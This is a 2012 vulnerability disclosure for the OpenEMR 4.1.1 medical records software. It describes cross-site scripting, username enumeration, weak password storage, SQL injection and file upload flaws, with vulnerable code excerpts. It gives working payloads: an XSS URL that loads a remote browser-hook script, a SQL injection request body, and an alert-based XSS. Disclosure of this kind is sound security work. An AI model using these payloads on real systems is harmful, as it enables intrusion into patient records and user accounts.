
Software: OpenEMR 4.1.1
Download: http://www.oemr.org/
Discovery Date: 11/11/2012
Author: Tim Medin
Email: tim@counterhack.com
---

1. Vulnerability: Cross Site Scripting

A Cross-Site Scripting vulnerability in OpenEMR 4.1.1 can be exploited to attack the users of the site.

http://mysite.com/openemr/interface/login/login_frame.php?site=%3cscript%20src="http://127.0.0.1:3000/hook.js"%3e%3c/script%3e

Vulnerable Code:
globals.php:

```
121: if (empty($_SESSION['site_id']) || !empty($_GET['site'])) {
122:   if (!empty($_GET['site'])) {
123:     $tmp = $_GET['site'];
...
130:   if (empty($tmp) || preg_match('/[^A-Za-z0-9\\-.]/', $tmp))
131:    die("Site ID '$tmp' contains invalid characters.");
```

2. Username extraction

A list of usernames can be checked against the application to check if they are valid. This can be used to harvest valid usernames.

Invalid user request and response:
interface/login/validateUser.php?u=someuser

```
Content-Length: 0
<empty response body>
```

Valid user found:
interface/login/validateUser.php?u=admin

```
Content-Length: 1
<response is 0 or 1>
```

3. Password Storage

The authentication credential is stored clear text in the database. If the database is dumped, the stored credential can be used to log in.

The application uses javascript to hash the password before sending it to the server. At the surface, this seems like a good safety mechanism, but it adds very little value. While the initial password can't be retrieved (outside of normal cracking mechanisms) it doesn't matter as the hash can be used to authenticate without any knowledge of the initial password (think pass-the-hash with Windows).

4. SQL Injection

There are a LOT of these, so I will make a very brief description of each. There are enough that finding them all would take more time that I can spend. All of them requires successful authentication

URL: /openemr/interface/main/main_screen.php?auth=login&site=default
Data:
authProvider=Def'ault&authUser=admin&clearPass=&languageChoice=1&authPass=9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684&authNewPass=
Injectable Parameter(s): authProvider
Vulnerable line: library/auth.inc:144: if ($authGroup = sqlQuery("select * from groups where user='$user' and name='$provider'"))

More coming....

5. Arbitrary File Upload
The 'type' is set by the client and can be manipulated.
NOTE: Not enabled by default

PATH:/ contrib/forms/documents/save.php

```
28: $file_ext=$HTTP_POST_FILES['document_image']['name'];
29: $extension=substr ( $file_ext , -4);
30: $file_new_name.=$extension;
31: // we check for a valid type of file.
32: if (($HTTP_POST_FILES['document_image']['type'] == 'image/gif') ||
33:     ($HTTP_POST_FILES['document_image']['type'] == 'image/jpg') ||
34:     ($HTTP_POST_FILES['document_image']['type'] == 'image/pjpeg') ||
35:     ($HTTP_POST_FILES['document_image']['type'] == 'image/jpeg') ||
36:     ($HTTP_POST_FILES['document_image']['type'] == 'image/bmp')){
37:     $checktype='ok';
38: }
```

6. Cross-Site Scripting

URL:
/openemr/interface/patient_file/deleter.php?document=2<script>alert(1)</script>